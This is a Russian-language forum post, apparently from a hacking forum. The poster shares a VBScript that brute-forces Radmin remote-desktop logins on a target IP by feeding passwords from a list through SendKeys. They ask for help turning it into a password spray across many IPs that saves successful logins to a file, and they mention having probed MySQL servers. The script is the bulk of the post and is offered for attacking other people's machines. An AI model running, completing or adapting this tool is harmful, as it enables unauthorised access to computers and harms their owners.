ПреВедСтВуЙу Всех..
Ищу знатоков vbs, т.к. чисто лень разбираться с языком....
Вот скрипт для вставки одного IP и листа пассов.
Мне надо, чтобы вставляешь Лист Аипишнегов и один Пасс. К примеру 12345678
Лист ИПишнеГоФф собственно свой.
P.S Желательно с выводов в GOODофф в файл..
P.P.S Желательно, чтобы игнорил сервы 3ей версии (Т.к. там идет вставка LOGIN, иногда DOMAIN)
Цитата:
Set objShell = CreateObject("Wsсriрt.Shell")
intValue = InputBox("Please Enter Your Target IP:")
strCommandLine = intValue
Set cmd = CreateObject("Wsсriрt.Shell")
If Wsсriрt.Arguments(0) = "" Then
Wsсriрt.Echo "usage: csсriрt vbsFile.vbs <yourtxtfile>"
Else
Set fso = CreateObject("sсriрting.FileSystemObject")
Filename = Wsсriрt.Arguments(0)
If fso.FileExists(Filename) Then
Set objTextFile = fso.OpenTextFile(Filename,1)
Wsсriрt.Sleep 2000
Do Until objTextFile.AtEndOfStream
line = objTextFile.Readline
Wsсriрt.Echo "[+] Attacking " & intValue & "....... " & line
Wsсriрt.Sleep 500
set WshShell = Wsсriрt.CreateObject("Wsсriрt.Shell")
WshShell.Run "radmin.exe /connect:" & intValue & ":4899 /telnet"
Wsсriрt.Sleep 500
WshShell.AppActivate "Enter password for <Entry name>"
WshShell.SendKeys line
Wsсriрt.Sleep 500
WshShell.SendKeys "{ENTER}"
Wsсriрt.Sleep 200
WshShell.SendKeys "{ENTER}"
loop
objTextFile.Close
Else
Wsсriрt.Echo Filename & "does not exists"
End If
End If
|
Вроде не сложно )) ПЛЗ Прохелпите )) Тут вроде пару строк сменить. Мне уже пошарить по мускулам на сегодня хватило :/// нИаСиЛил
With *.* иЗвиНиТЕ зА НеРоВНый ПочЕРк! (c)
